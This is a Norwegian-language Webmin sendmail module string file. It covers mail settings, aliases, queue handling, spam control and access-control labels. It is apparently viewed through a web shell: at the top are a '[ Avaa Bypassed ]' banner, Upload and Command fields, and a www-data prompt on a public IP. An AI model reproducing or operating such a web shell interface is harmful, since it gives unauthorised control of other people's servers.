[ Avaa Bypassed ]




Upload:

Command:

www-data@3.139.237.218: ~ $
index_title=Sendmail konfigurasjon
index_econfig=Sendmail konfig filen $1 finnes ikke. Kanskje <a href='$2'>modulkonfigurasjonen</a> er feil.
index_eversion=Your sendmail config file does not appear to be for the latest sendmail version. Webmin only supports versions 8.8 and above.
index_epath=Sendmail programmet $1 er ikke installert på systemet ditt. Kanskje <a href='$2'>modulkonfigurasjonen</a> er feil, eller så er sendmail ikke installert.
index_return=sendmail konfigurasjon
index_stop=Stopp Sendmail
index_stopmsg=Klikk på denne knappen for å stoppe sendmail tjenesten. Dette vil hindre e-post i å bli levert til lokale brukere fra andre systemer, og hindre klienter som bruker dette systemet som e-post tjener i å sende e-post.
index_start=Start Sendmail
index_startmsg=Klikk på denne knappen for å starte sendmail med kommandoen $1. Før dette er gjort vil ikke e-post bli levert til lokale brukere fra andre systemer, og klienter vil ikke være i stand til å bruke dette systemet som e-post tjener.
index_version2=Sendmail versjon $1, konfig $2
index_xversion=Sendmail versjon $1
index_version=Sendmail konfig $1
index_sendmail=Sendmail

opts_title=Sendmail innstillinger
opts_ecannot=Du har ikke tilgang til å redigere sendmail innstillinger
opts_ds=Send utgående e-post via vert
opts_direct=Lever direkte
opts_dr=Videresend ukvalifiserte brukernavn til vert
opts_dh=Videresend e-post til lokale brukere til vert
opts_local=Lever lokalt
opts_queuela=Maks belastningsgjennomsnitt for sending
opts_refusela=Maks belastningsgjennomsnitt for mottak
opts_maxch=Maks. underprosesser
opts_throttle=Maks forbindelser / sekund
opts_minqueueage=Min tid før gjentak av sending
opts_runsize=Maksimal køstørrelse
opts_queuereturn=Tid før jeg gir opp
opts_queuewarn=Tid før advarsel sendes
opts_queue=Katalog for e-post kø
opts_postmaster=Send feilmeldinger til
opts_forward=Brukeres videresendingsfiler
opts_minfree=Min. ledig diskplass
opts_maxmessage=Maks. meldingsstørrelse
opts_loglevel=Loggnivå
opts_mimebounce=MIME-koding av bounce meldinger?
opts_default=Standard
opts_save=Lagre og ta i bruk
opts_err=Kunne ikke lagre innstillinger
opts_ehost='$1' er ikke et gyldig verts- eller domenenavn
opts_einvalid='$1' er ikke en gyldig verdi for '$2'
opts_blame=Filsikkerhets innstillinger
opts_selected=Valgte..
opts_blocks=blocks
opts_bytes=bytes
opts_dmode=Leveringsmodus
opts_background=Bakgrunn
opts_queue-only=Queue only
opts_interactive=Interaktiv
opts_deferred=Utsatt
opts_gecos=Accept mail for users' real names?
opts_hops=Maksimum mail hop count
opts_daemon=SMTP port innstillinger
opts_maxbad=Maks. feil mottakere
opts_maxrcpt=Maks. mottakere per melding
opts_below=Angitt nedenfor ..
opts_qso=Sorter e-post kø etter
opts_priority=Prioritet
opts_host=Vertsnavn
opts_time=Klokkeslett mottatt

aliases_title=Mail Aliaser
aliases_ecannot=Du har ikke tilgang til å redigere aliaser
aliases_enofile=Det er ikke definert noen alias fil i din Sendmail konfigurasjon
aliases_addr=Adresse
aliases_to=Alias til..
aliases_type1=Adresse $1
aliases_type2=Adresser i filen $1
aliases_type3=Fil $1
aliases_type4=Program $1
aliases_type5=Autosvar fil $1
aliases_type6=Bruk filter fil $1
aliases_none=Ingen
aliases_return=alias liste
aliases_toomany=Det er for mange alias på systemet ditt til å vise på denne siden.
aliases_go=Finn aliaser som stemmer med:
aliases_delete=Slett valgte alias

aform_ecannot=Du har ikke tilgang til å redigere dette aliaset
aform_type0=Ingen
aform_type1=E-post adresse
aform_type2=Adresser i filen
aform_type3=Skriv til fil
aform_type4=Gi videre til programmet
aform_type5=Autosvar fra filen
aform_type6=Bruk filter fil
aform_edit=Rediger alias
aform_create=Opprett alias
aform_name=Adresse
aform_enabled=Slått på?
aform_file=Legg til aliases fil
aform_val=Alias til
aform_afile=Rediger..
aform_return=alias
aform_cmt=Beskrivelse

afile_title=Rediger adressefil
afile_desc=Bruk tekstområdet nedenfor til å redigere adressene i filen $1.
afile_efile=Du har ikke tilgang til å redigere $1.
afile_undo=Angre endringer
afile_ewrite=Kunne ikke skrive til adressefilen : $1

ffile_title=Rediger filterfil
ffile_desc=Bruk skjemaet nedenfor til å sette opp filterregler i filen $1.
ffile_efile=Du har ikke tilgang til å redigere $1.
ffile_line=Dersom $1 feltet $2 $3 skal det videresendes til $4
ffile_from=fra
ffile_to=til
ffile_subject=emne
ffile_cc=kopi
ffile_body=body
ffile_what0=ikke stemmer med
ffile_what1=stemmer med
ffile_other=ellers skal det videresendes til $1
ffile_err=Kunne ikke lagre filterfilen
ffile_ematch=Manglende treff
ffile_eaction=Manglende videresendingsadresse

rfile_title=Rediger autosvar fil
rfile_desc=Bruk tekstområdet nedenfor til å redigere autosvar meldingen i $1. Meldingen kan inneholde makroene $SUBJECT, $FROM, $TO, $DATE og $BODY som vil bli erstattet når autosvar aktiveres.
rfile_desc2=Du kan også sette meldingshoder som legges til eller erstatter standardverdiene brukt av autosvar ved å sette inn linjer som:<br><tt>From: foo@bar.com</tt><br><tt>Subject: På ferie</tt><br>i toppen av meldingen, adskilt fra meldingsteksten med en enkelt blank linje.
rfile_efile=Du har ikke tilgang til å redigere $1.
rfile_undo=Angre endringer
rfile_replies=Spor svar for å unngå meldingsløkker?
rfile_none=Nei
rfile_file=Ja, ved bruk av loggfil
rfile_period=Minimumsintervall mellom svar
rfile_default=Standard (1 time)
rfile_secs=sekunder
rfile_ereplies=Manglende loggfil for svarsporing
rfile_eperiod=Manglende eller ugyldig antall sekunder mellom svar
rfile_no_autoreply=Ikke send autosvar til
rfile_no_regexp=Ikke send autosvar til meldinger som matcher reg. uttrykk
rfile_from=Fra: adresse for svar
rfile_auto=Automatisk (basert på mottakers adresse)
rfile_efrom=Manglende Fra: adresse
rfile_fromdesc=En Fra: adresse bør alltid angis hvis mulig, siden den automatiske metoden kan være utilgjengelig.

asave_err=Kunne ikke lagre alias
asave_ecannot2=Du har ikke tilgang til å redigere aliaser
asave_ecannot=Du har ikke tilgang til å redigere dette aliaset
asave_emax=Du har ikke tilgang til å opprette mer enn $1 alias
asave_eaddr='$1' er ikke en gyldig adresse
asave_ealready=Et alias for '$1' finnes allerede
asave_ematch=Du ha kun tilgang til å opprette aliaser som passer med '$1'
asave_etype=Du har ikke tilgang til å opprette alias av denne typen
asave_etype1='$1' er ikke en gyldig e-post adresse
asave_etype2=Adressefilen '$1' er ikke gyldig eller så finnes den ikke
asave_etype3='$1' er ikke et gyldig filnavn
asave_etype4='$1' er ikke et gyldig program eller det finnes ikke
asave_etype5=Autosvarfilen '$1' er ikke gyldig
asave_etype4none=Ikke noe program angitt
asave_etype6=Filterfilen '$1' er ikke gyldig
asave_esame=Du har kun tilgang til å opprette et alias med samme navn som ditt webmin brukernavn

adelete_err=Kunne ikke slette alias
adelete_enone=Ingen valgt
adelete_ecannot=Du har ikke lov til å slette alias $1

cws_title=Lokale domener
cws_ecannot=Du har ikke tilgang til å redigere lokale domener
cws_domains=Domener som denne tjeneren styrer
cws_desc1=Bortsett fra e-post til $1, vil sendmail kun godta e-post for lokal levering til domener og verter angitt i tekstboksen til venstre. Dersom du ønsker at e-post tjeneren skal betjene flere e-post domener, må alle disse være angitt i dette skjemaet.
cws_desc2=Merk at det vanligvis ikke er nok å bare ta med et domene i denne listen. Du må også forsikre deg om at det finnes en DNS oppføring for domene, og at denne peker til ditt system.
cws_err=Kunne ikke lagre lokale domener
cws_ehost='$1' er ikke et gyldig verts- eller domenenavn
cws_eip='$1' er en IP adresse, ikke et domene

masq_title=Domene maskering
masq_ecannot=Du har ikke tilgang til å konfigurere maskering
masq_domain=Masker som domene
masq_domains=Domener som skal maskeres
masq_ndomains=Domener som ikke skal maskeres
masq_desc1=Dersom det er angitt et domene ovenfor, vil sendmail endre <tt>Fra</tt> adressen på alle utgående meldinger slik at de ser ut til å komme fra angitt domene. I tillegg vil alle e-post meldinger som går gjennom systemet fra en av vertene eller domenene angitt til venstre også få <tt>Fra</tt> adressen endret på samme måten. Vær oppmerksom på at domene maskeringen som er angitt her kan overstyres for spesifikke brukere ved hjelp av siden <a href='$1'>Utgående adresser</a>.
masq_desc2=Denne egenskapen er nyttig dersom du ønsker at e-post fra ditt system skal se ut til å komme fra ditt domenenavn i stedet for vertsnavnet på systemet ditt, eller dersom systemet ditt er e-post nav for flere andre verter med egne e-post tjenere.
masq_err=Kunne ikke lagre domene maskering
masq_edomain='$1' er ikke et gyldig domene å maskere som
masq_ehost='$1' er ikke et gyldig verts- eller domenenavn
masq_eip='$1' er en IP adresse, ikke et domene

trusts_title=Betrodde brukere
trusts_ecannot=Du har ikke tilgang til å redigere betrodde brukere
trusts_users=Lokale brukere som er betrodd av sendmail
trusts_desc=Dersom en lokal bruker forsøker å sende e-post, vil sendmail kun tillate brukeren å oppgi en alternativ <tt>Fra:</tt> adresse dersom brukeren finnes på listen til venstre. Denne restriksjonen er lagt inn for å forhindre brukere fra å forfalske e-post med falske <tt>Fra:</tt> adresser på ditt system.
trusts_err=Kunne ikke lagre betrodde brukere
trusts_euser='$1' er ikke en gyldig bruker

virtusers_title=Adresseavbildninger
virtusers_ecannot=Du har ikke tilgang til å redigere adresse avbildninger
virtusers_efeature=Din sendmail konfigurasjon har ikke egenskapen for adresseavbildning (<tt>virtuser</tt>) slått på. <a href='$1'>Klikk her</a> for å sette opp sendmail egenskaper.
virtusers_efile=Tekstfilen $1 som adresseavbildningsdatabasen $2 bygges opp fra, finnes ikke. Kanskje du må endre <a href='$3'>modulkonfigurasjonen</a> til å bruke riktig sti.
virtusers_createfile=Eller dersom denne egenskapen akkurat er slått på, kan du <a href='$1'>klikke her</a> for å opprette filen.
virtusers_desc1=Adresseavbildninger er nesten det samme som <a href='$1'>aliaser</a>, men er bedre egnet for systemer som betjener flere e-post domener. De kan brukes til å redirigere e-post for et helt domene til en enkelt adresse, betjene brukere med samme navn i forskjellige domener, eller mappe all e-post fra et domene til et annet.
virtusers_desc2=Merk at du må ha en oppføring i tabellen for <a href='$1'>lokale domener</a> for alle domener som benyttes i adresseavbildning, og det må finnes en DNS MX oppføring for hvert domene som peker til ditt system.
virtusers_for=E-post til..
virtusers_to=Send til..
virtusers_error=Feil $1
virtusers_domain=Domene $1
virtusers_address=Adresse $1
virtusers_cmt=Beskrivelse
virtusers_return=liste over adresseavbildninger
virtusers_toomany=Det er for mange adresseavbildninger på ditt system til å vise dem på en side.
virtusers_go=Finn adresseavbildninger som passer med:
virtusers_delete=Slett valgte adresse-tilordninger

vform_edit=Rediger avbildning
vform_create=Opprett avbildning
vform_for=E-post til
vform_address=Adresse
vform_domain=Domene
vform_to=Send til
vform_msg=melding
vform_error=Returner feil
vform_cmt=Beskrivelse
vform_err_nouser=nouser
vform_err_nohost=nohost
vform_err_unavailable=Utilgjengelig
vform_err_tempfail=Midlertidig feil
vform_err_protocol=Protokoll feil
vform_end=Move to end
vform_ecannot=Du har ikke tilgang til å redigere denne adresse avbildningen

vsave_ecannot=Du har ikke tilgang til å redigere adresse avbildninger
vsave_ecannot2=Du har ikke tilgang til å redigere denne adresse avbildningen
vsave_emax=You are not allowed to create more than $1 address mappings
vsave_err=Failed to save address mapping
vsave_efrom='$1' is not a valid address
vsave_efromdup=Address mapping for '$1' is already defined
vsave_edom='$1' is not a valid domain
vsave_edomdup=Address mapping for '$1' is already defined
vsave_ematch=The source address does not match '$1'
vsave_esame=You are only allowed to create address mappings for your username
vsave_ecannot3=You are not allowed to create mappings to addresses
vsave_eaddr='$1' is not a valid address
vsave_ecannot4=You are not allowed to create mappings to domains
vsave_edomdom=Only a domain can be mapped to another domain
vsave_ecannot5=You are not allowed to create mappings that return an error

vdelete_err=Kunne ikke slette adresse-tilordninger
vdelete_ecannot=Du har ikke tilgang til å slette tilordning for $1

mailers_title=Ruting av domener
mailers_cannot=Du har ikke tilgang til å redigere domene ruting
mailers_edirective=Your sendmail configuration file does not have the necessary directive for domain routing.
mailers_efeature=Your sendmail configuration does not have the domain routing (<tt>mailertable</tt>) feature enabled. <a href='$1'>Click here</a> to setup sendmail features.
mailers_efile=The text file $1 from which the domain routing database $2 is built does not exist. Maybe you need to modify the <a href='$3'>module configuration</a> to use the correct path.
mailers_desc1=Domain routing provides a way to define a special transfer method for mail to certain domains. This can be useful if your system is a gateway for mail servers that cannot be reached from outside your network, or if you want to force all mail for a particular domain to be routed through some other server.
mailers_desc2=You should <b>not</b> have an entry in the <a href='$1'>local domains</a> list for any routed domains. However, you should have a DNS MX record pointing to your system for any domains that it is a gateway for.
mailers_desc3=You should also have an entry in the <a href='$1'>relay domains</a> list for each domain as well.
mailers_for=Mail for..
mailers_delivery=Levering
mailers_to=Send til..
mailers_return=liste med domene ruting
mailers_delete=Slette valgte domene ruter

mform_edit=Rediger ruting
mform_create=Opprett ruting
mform_for=E-post til
mform_host2=Vert eller domene
mform_domain2=Alle verter i domene
mform_domain3=Domene og alle dets verter
mform_delivery=Levering
mform_to=Send til
mform_ignore=Ignorer MX for SMTP levering
mform_smtp=SMTP
mform_esmtp=Utvidet SMTP
mform_smtp8=8-bit SMTP
mform_relay=SMTP relé
mform_local=Lokal bruker
mform_prog=Gi videre til program
mform_uucp=UUCp
mform_usenet=Post til USENET
mform_fax=HylaFAX
mform_pop=POP3
mform_procmail=Procmail
mform_mail11=DECnet mail11
mform_error=Feil
mform_ecannot=Du har ikke tilgang til å redigere domene ruting

msave_ecannot=Du har ikke tilgang til å redigere domene ruting
msave_err=Failed to save domain routing
msave_edomain='$1' is not a valid host or domain
msave_edup=Domain routing for '$1' is already defined

mdelete_err=Kunne ikke slette domene ruter
mdelete_ecannot=Du har ikke tilgang til å slette rute for $1

generics_title=Utgående adresser
generics_cannot=Du har ikke tilgang til å redigere utgående adresser
generics_econfig=Din sendmail konfigurasjonsfil har ikke det nødvendige direktivet for utgående adresseavbildning.
generics_efeature=Din sendmail konfigurasjon har ikke egenskapen (<tt>generics</tt>) for utgående adresseavbildning påslått. <a href='$1'>Klikk her</a> for å sette opp sendmail egenskaper.
generics_efile=Tekstfilen $1 som databasen for utgående adresser $2 skal bygges opp fra, finnes ikke. Kanskje du må endre <a href='$3'>modulkonfigurasjonen</a> til å benytte en annen sti til denne filen.
generics_desc1=Outgoing address mapping allows you to modify the <tt>From:</tt> addresses of mail send out from your system, or through your system by other hosts on your local network. This can be useful if you are hosting multiple domains on the one system, and want mail from some users to appear to come from a different domain.
generics_desc2=Note that you must have an entry in the <a href='$1'>outgoing domains</a> table for each domain which there are addresses you want outgoing mapping done for. Also note that outgoing address mapping does not work for mail being delivered to local users.
generics_from=E-post fra..
generics_to=Endre til..
generics_return=address mapping list
generics_toomany=There are too many outgoing addresses on your system to display on this page.
generics_go=Find outgoing addresses matching:
generics_delete=Slett valgte utgående adresser

gform_edit=Rediger avbildning
gform_create=Opprett avbildning
gform_from=E-post fra
gform_to=Endre til
gform_ecannot=Du har ikke tilgang til å redigere denne utgående adressen

gsave_ecannot=Du har ikke tilgang til å redigere utgående adresser
gsave_ecannot2=Du har ikke tilgang til å redigere denne utgående adressen
gsave_ecannot3=Du har ikke tilgang til å lagre denne utgående adressen
gsave_err=Failed to save outgoing address
gsave_efrom='$1' is not a valid from address
gsave_ematch=The from address does not match '$1'
gsave_eto='$1' is not a valid new address
gsave_ealready=En tilordning for utgående adresse for '$1' finnes allerede

gdelete_err=Kunne ikke slette tilordninger for utgående adresser
gdelete_ecannot=Du har ikke tilgang til å slette tilordningen for $1

cgs_title=Utgående domener
cgs_ecannot=Du har ikke tilgang til å redigere utgående domener
cgs_header=Outgoing address domains
cgs_desc=Apart from mail sent by local users, sendmail will only perform <a href='$1'>outgoing address</a> mapping for mail from hosts or domains listed in the text box to the right. Thus for an outgoing address entry to work the domain in the from address must be included in this list.
cgs_err=Failed to save outgoing domains
cgs_ehost='$1' is not a valid host or domain name
cgs_eip='$1' is an IP address, not a domain

domains_title=Domeneavbildning
domains_ecannot=Du har ikke tilgang til å redigere domeneavbildning
domains_econfig=Your sendmail configuration file does not have the necessary directive for domain mapping.
domains_efeature=Din sendmail konfigurasjon har ikke egenskapen for domeneavbildning (<tt>domaintable</tt>) slått på. <a href='$1'>Klikk her</a> for å sette opp sendmail egenskaper.
domains_efile=Tekstfilen $1 som domeneavbildningsdatabasen $2 bygges opp fra, finnes ikke. Kanskje du må endre <a href='$3'>modulkonfigurasjonen</a> til å bruke riktig sti.
domains_desc=Domeneavbildning endrer <tt>Til:</tt> adressen på meldinger sendt ut fra, reléet via eller levert til brukere på ditt system. <tt>Fra:</tt> adressen til reléete meldinger eller meldinger til lokale brukere blir også endret. Dette kan være nyttig dersom domenenavnet ditt endres, og du ønsker å endre alle forekomster av det gamle domenenavnet til det nye.
domains_from=Fra domene..
domains_to=Til domene..
domains_return=liste over domeneavbildninger
domains_delete=Slett valgte domene-mappinger

dform_edit=Rediger avbildning
dform_create=Opprett avbildning
dform_from=Fra domene
dform_to=Til domene
dform_ecannot=Du har ikke tilgang til å redigere domeneavbildning

dsave_ecannot=Du har ikke tilgang til å redigere domeneavbildning
dsave_err=Kunne ikke lagre domeneavbildning
dsave_edomain='$1' er ikke et gyldig domenenavn
dsave_ealready=EN domene-tilordning for '$1' finnes allerede

ddelete_err=Kunne ikke slette domene-tilordninger
ddelete_ecannot=Du har ikke tilgang til å slette tilordning for $1

access_title=Spam kontroll
access_ecannot=Du har ikke tilgang til å konfigurere spam kontroll
access_efeature=Your sendmail configuration does not have the spam control (<tt>access_db</tt>) feature enabled. <a href='$1'>Click here</a> to setup sendmail features.
access_efile=The text file $1 from which the spam control database $2 is built does not exist. Maybe you need to modify the <a href='$3'>module configuration</a> to use the correct path.
access_desc1=Sendmail's spam control feature allows you to prevent spam from reaching your users by rejecting mail from certain addresses, and to prevent spammers from using your system to relay mail. By default sendmail will accept mail from any address for a local user, but prevent any client or mail server from relaying mail through your system. Typically you would add spam control rules to reject mail from spammers, and rules to allow other machines on your network to relay mail through your system.
access_desc2=Note that sendmail will by default allow mail clients running on your system to relay mail via SMTP to any destination. Thus there is no need to add the local <tt>127.0.0</tt> network to the list of those allowed to relay.
access_source=Source..
access_action=Action..
access_return=spam control list
access_toomany=There are too many spam control rules on your system to display on this page.
access_go=Find spam control rules matching:
access_delete=Slett valgte kontrollregler for søppelpost

sform_edit=Edit Spam Control Rule
sform_create=Create Spam Control Rule
sform_source=Mail source
sform_type0=Email Address
sform_type1=Network
sform_type2=User
sform_type3=Domain
sform_tag=Match mot
sform_tag_=Alt
sform_tag_from=Fra: adresse
sform_tag_to=Til: adresse
sform_tag_connect=Tilkoblingsinformasjon
sform_tag_spam=Søppelpost informasjon
sform_action=Action
sform_ok=Accept
sform_relay=Allow relaying
sform_reject=Reject
sform_discard=Discard silently
sform_err=Error code
sform_msg=Message
sform_ecannot=Du har ikke tilgang til å redigere denne søppelpost kontroll regelen

ssave_err=Failed to save spam control rule
ssave_etype0='$1' is not a valid address
ssave_etype1='$1' is not a valid network address
ssave_etype2='$1' is not a valid username
ssave_etype3='$1' is not a valid domain
ssave_ecode='$1' is not a valid SMTP error code
ssave_ealready=A spam control rule for '$1' already exists
ssave_ecannot2=Du har ikke tilgang til å lagre denne kontrollregelen for søppelpost

sdelete_err=Kunne ikke slette søppelpost kontroll regler
sdelete_ecannot=Du har ikke tilgang til å slette regelen for $1

relay_title=Relé domener
relay_ecannot=Du har ikke tilgang til å redigere relé domener
relay_eversion=Kun sendmail versjon 8.9 og nyere støtter relé domener.
relay_domains=Domains to which relaying is allowed
relay_desc1=Unless allowed by the <a href='$1'>spam control</a> rules, sendmail will only permit relaying to domains listed in the text box to the left. Incoming mail messages that are not for a local user and not for one of the listed domains will be rejected.
relay_desc2=If your system is serving as a gateway for several domains that are not directly accessible from outside your network (using the <a href='$1'>domain routing</a> feature), then all those domains should be listed here.
relay_err=Failed to save relay domains
relay_edomain='$1' is not a valid domain name

mailq_title=E-post kø
mailq_count=$1 meldinger
mailq_ecannot=Du har ikke tilgang til å se på e-post køen
mailq_id=E-post ID
mailq_sent=Sendt
mailq_from=Fra
mailq_to=Til
mailq_size=Størr.
mailq_status=Status
mailq_cc=Kopi
mailq_subject=Emne
mailq_dir=Katalog
mailq_unknown=Ukjent
mailq_sending=Sender
mailq_dmsg=To view a message from the mail queue, click on its ID in the list above.
mailq_force=To force the immediate delivery of queued of mail, <a href='$1'>click here</a>.
mailq_none=No mail messages are currently queued for delivery
mailq_delete=Delete selected messages
mailq_locked=Even if locked
mailq_return=e-post kø
mailq_flush=Flush Mail Queue
mailq_flushsel=Slett valgte meldinger
mailq_flushdesc=Click this button to force the immediate delivery of all messages in the queue, and display the results.
mailq_flushquar=Tøm karantene-kø
mailq_flushquardesc=Klikk på denne knappen for å tvinge gjennom levering av kun karantene-meldinger i køen.
mailq_search=Find queued messages where
mailq_quar=I karantene
mailq_refresh=Oppfrisk e-post kø
mailq_refreshdesc=Last denne siden på nytt for å vise gjeldende status for e-post køen.

flushq_title=Tøm kø
flushq_desc=Forcing the attempted delivery of mail with the command $1 ..
flushq_desc2=Tvinger gjennom forsøk på levering av $1 valgte meldinger ..
flushq_ecannot=Du har ikke lov til å tømme e-post køen

searchq_title=Queue Search Results
searchq_none=No queued messages found.

delq_err=Failed to delete message
delq_ecannot=You are not allowed to dequeue messages
delq_locked=File is currently locked for sending
delq_enone=No messages to delete selected
delq_titles=Deleting Messages
delq_file=Deleting mail file $1 ..
delq_efile=invalid filename!
delq_egone=already deleted or delivered
delq_elocked=locked for sending
delq_ok=deleted ok
delq_title=Delete Message
delq_force=Force deletion anyway
delq_ecannot2=you cannot delete this message
delq_rusure=Er du sikker på at du ønsker å slette de $1 valgte meldinger fra køen?
delq_confirm=Slett meldinger

boxes_title=Brukeres postbokser
boxes_user=Bruker
boxes_size=Postboks størr.
boxes_none=Ingen e-post
boxes_return=postbokser
boxes_sent=Sendt e-post
boxes_ecannot=Du har ikke tilgang til å lese e-post
boxes_toomany=Det er for mange brukere på systemet ditt til å vise alle postboksene.
boxes_go=Vis e-post til bruker:

mail_title=Brukers e-post
mail_from=Fra
mail_date=Dato
mail_subject=Emne
mail_to=Til
mail_cc=Kopi
mail_bcc=Blindkopi
mail_pri=Prioritet
mail_highest=Høyeste
mail_high=Høy
mail_normal=Normal
mail_low=Lav
mail_lowest=Laveste
mail_for=I $1
mail_for2=Til bruker $1
mail_sent=I liste over sendt e-post
mail_size=Størr.
mail_delete=Slett
mail_compose=Skriv
mail_return=brukers postboks
mail_pos=Meldingene $1 til $2 av $3
mail_none=Denne postboksen har ingen meldinger
mail_euserexists=Denne Unix brukeren finnes ikke
mail_ecannot=Du har ikke tilgang til å lese denne brukerens e-post
mail_all=Velg alle
mail_invert=Inverter valg
mail_search=Finn meldinger hvor
mail_body=meldingstekst
mail_match=passer med
mail_ok=Søk
mail_nonefrom=Ingen
mail_mark=Mer som:
mail_mark0=Ulest
mail_mark1=Lest
mail_mark2=Spesial
mail_forward=Videresend
mail_move=Flytt il:
mail_copy=Kopier til:
mail_rfc=Fra linje
mail_eexists=Meldingen finnes ikke lenger!

view_title=Les e-post
view_desc=Melding $1 i $2
view_desc2=Melding $1 til bruker $2
view_desc3=Melding $1
view_sent=Melding $1 i liste over sendt e-post
view_qdesc=Queued message $1
view_headers=Mail headers
view_body=Message text
view_allheaders=View all headers
view_noheaders=View basic headers
view_attach=Vedlegg
view_reply=Svar
view_reply2=Svar til alle
view_enew=Rediger som ny
view_forward=Videresend
view_delete=Slett
view_flush=Tøm
view_print=Skriv ut
view_strip=Remove Attachments
view_ecannot=You are not allowed to read this user's email
view_mark=Mark message as:
view_mark0=Unread
view_mark1=Read
view_mark2=Special
view_return=original email
view_sub=Attached Email
view_egone=This message no longer exists
view_afile=Vedlegg navn
view_atype=Vedlegg type
view_asize=Fil størrelse

compose_title=Compose Email
reply_title=Reply to Email
forward_title=Forward Email
enew_title=Edit Email
reply_headers=Mail headers
reply_attach=Forwarded attachments
reply_mailforward=Forwarded messages
reply_attach2=Client and server-side attachments
reply_send=Send Mail
reply_ecannot=You are not allowed to send mail as this user
reply_body=Message text

send_err=Failed to send mail
send_eto=Missing To address
send_efrom=Missing From address
send_title=Mail Sent
send_ok=Mail sent successfully to $1
send_ecannot=You are not allowed to send mail as this user
send_esmtp=SMTP command $1 failed : $2
send_efile=Attached file $1 does not exist
send_eattach=Attachments cannot total more that $1 kB in size.
send_eperms=User $1 cannot read $2
send_eperms2=You are not allowed to send file $1
send_epath=Sendmail executable $1 does not exist.

delete_title=Slett e-post
delete_rusure=Are you sure you want to delete the $1 selected messages from $2? This may take some time for a large mail file. Until the deletion has finished, no other action should be performed.
delete_rusure2=Are you sure you want to delete this message from $1? This may take some time for a large mail file. Until the deletion has finished, no other action should be performed.
delete_ok=Delete Now
delete_ecannot=You are now allowed to delete mail from this user
delete_enone=No mail selected to delete
delete_emnone=No mail selected to mark
delete_efnone=No mail selected to forward
delete_emoveuser=User to move mail to does not exist
delete_emovecannot=You are not allowed to move mail to the specified user
delete_emovenone=No mail selected to move
delete_nobutton=No button clicked

search_title=Search Results
search_ecannot=You are not allowed to search this user's email
search_ematch=You must enter text to match against.
search_efield=You must select a search type.
search_ewhat=No text to match against entered for row $1
search_enone=No search criteria entered
search_none=No messages found.
search_results2=$1 mail messages matching $2 ..
search_results3=$1 mail messages not matching $2 ..
search_results4=$1 mail messages matching your search ..
search_local=In local folders
search_all=In all folders
search_eboolean=Boolean searches using both 'and' and 'or' are not supported

file_title=Rediger Sendmail Fil
file_desc=Use the text box below to manually edit the Sendmail file $1.
file_undo=Undo Changes
file_edit=Rediger $1 manuelt
file_ealiases=You can only edit an aliases file if you have access to all aliases.
file_evirtusers=You can only edit the address mappings file if you have access to all address mappings.
file_emailers=You are not allowed to edit the domain routing file.
file_egenerics=You can only edit the outgoing addresses file if you have access to all outgoing addresses.
file_edomains=You are not allowed to edit the domain mapping file.
file_eaccess=You are not allowed to edit the spam control file.
file_ecannot=You are not allowed to edit this file
file_emode=Unknown mode!
file_err=Failed to edit file
file_ealias=Ugyldig format for aliases fil linje : $1
file_etab=Ugyldig format for tilordningsfil linje : $1

acl_opts=Kan redigere sendmail innstillinger?
acl_ports=Kan redigere nettverksporter?
acl_cws=Kan redigere lokale domener?
acl_masq=Kan konfigurere domene maskering?
acl_trusts=Kan redigere betrodde brukere?
acl_cgs=Kan redigere utgående domener?
acl_relay=Kan redigere relé domener?
acl_mailers=Kan konfigurere domene ruting?
acl_access=Kan konfigurere spam kontroll?
acl_domains=Kan konfigurere domene avbildning?
acl_stop=Kan starte og stoppe sendmail?
acl_manual=Kan redigere filer manuelt?
acl_flushq=Kan tømme e-post køen?
acl_mailq=Kan vedlikeholde e-post kø?
acl_viewdel=Vis og slett
acl_view=Kun vis
acl_vcatchall=Kan opprette catchall mappinger?
acl_qdoms=Adresser synlige i kø
acl_qdomsmode=Queue address to match
acl_qdomsmode0=Fra: adresse
acl_qdomsmode1=Til: adresse
acl_qdomsmode2=En av adressene
acl_virtusers=Adresse avbildninger denne brukeren kan redigere
acl_none=Ingen
acl_same=Bruker med samme navn
acl_all=Alle
acl_vsame=Starter med brukernavn@
acl_matching=Passer med
acl_vtypes=Adresse avbildningstyper denne brukeren kan redigere
acl_vtype0=Retur feil
acl_vtype1=Til domene
acl_vtype2=Til adresse
acl_vmax=Maks antall adresse avbildninger
acl_unlimited=Ubegrenset
acl_aliases=Aliaser denne brukeren kan redigere
acl_atypes=Alias typer denne brukeren kan redigere
acl_atype1=E-post adresse
acl_atype2=Adresser i filen
acl_atype3=Skriv til fil
acl_atype4=Gi videre til program
acl_atype5=Autosvar
acl_atype6=Filter fil
acl_amax=Maks. antall aliaser
acl_outgoing=Utgående adresser denne brukeren kan redigere
acl_read=Users whose mail can be read
acl_users=Kun brukerne
acl_userse=Alle unntatt brukerne
acl_usersg=Medlemmer i gruppen
acl_from=Tilatte Fra adresser
acl_any=Alle adresser
acl_fdoms=Postboks @ domener
acl_faddrs=Angitte adresser
acl_fdom=Any address @ domain
acl_fromname=Real name for From address
acl_apath=Begrens filer og program til katalog
acl_attach=Maximum total attachments size
acl_sent=Store sent mail in mailbox
acl_canattach=Can attach server-side files?
acl_boxname=Show mailbox name as
acl_boxname0=Filnavn
acl_boxname1=User's real name
acl_boxname2=Nothing
acl_usersm=Brukere som passer med
acl_asame=Samme som brukernavn
acl_usersu=Med UID i området
acl_spam=Søppelpost kontroll-adresser som denne brukeren kan redigere

log_opts=Changed sendmail options
log_ports=Endre nettverksporter
log_alias_create=Opprettet alias $1
log_alias_modify=Endret alias $1
log_alias_delete=Slettet alias $1
log_alias_manual=Manuelt redigert aliasfil $1
log_cws=Endret lokale domener
log_masq=Endret domene maskering
log_trusts=Endret betrodde brukere
log_virtuser_create=Opprettet adresseavbildning $1
log_virtuser_modify=Endret adresseavbildning $1
log_virtuser_delete=Slettet adresseavbildning $1
log_virtuser_manual=Manuelt redigert adresseavbildningsfil $1
log_mailer_create=Created domain routing $1
log_mailer_modify=Modified domain routing $1
log_mailer_delete=Deleted domain routing $1
log_mailer_manual=Manually edited domain routing file $1
log_generic_create=Created outgoing address $1
log_generic_modify=Modified outgoing address $1
log_generic_delete=Deleted outgoing address $1
log_generic_manual=Manually edited outgoing address file $1
log_cgs=Changed outgoing domains
log_domain_create=Created domain mapping $1
log_domain_modify=Modified domain mapping $1
log_domain_delete=Deleted domain mapping $1
log_domain_manual=Manually edited domain mapping file $1
log_access_create=Opprettet spam kontroll for $1
log_access_modify=Endret spam kontroll for $1
log_access_delete=Slettet spam kontroll for $1
log_access_manual=Manuelt redigert spam kontroll fil $1
log_relay=Endret relé domener
log_flushq=Tømt e-post kø
log_delmailq=Slett e-post $1 fra kø
log_delmailqs=Slettet $1 meldinger fra kø
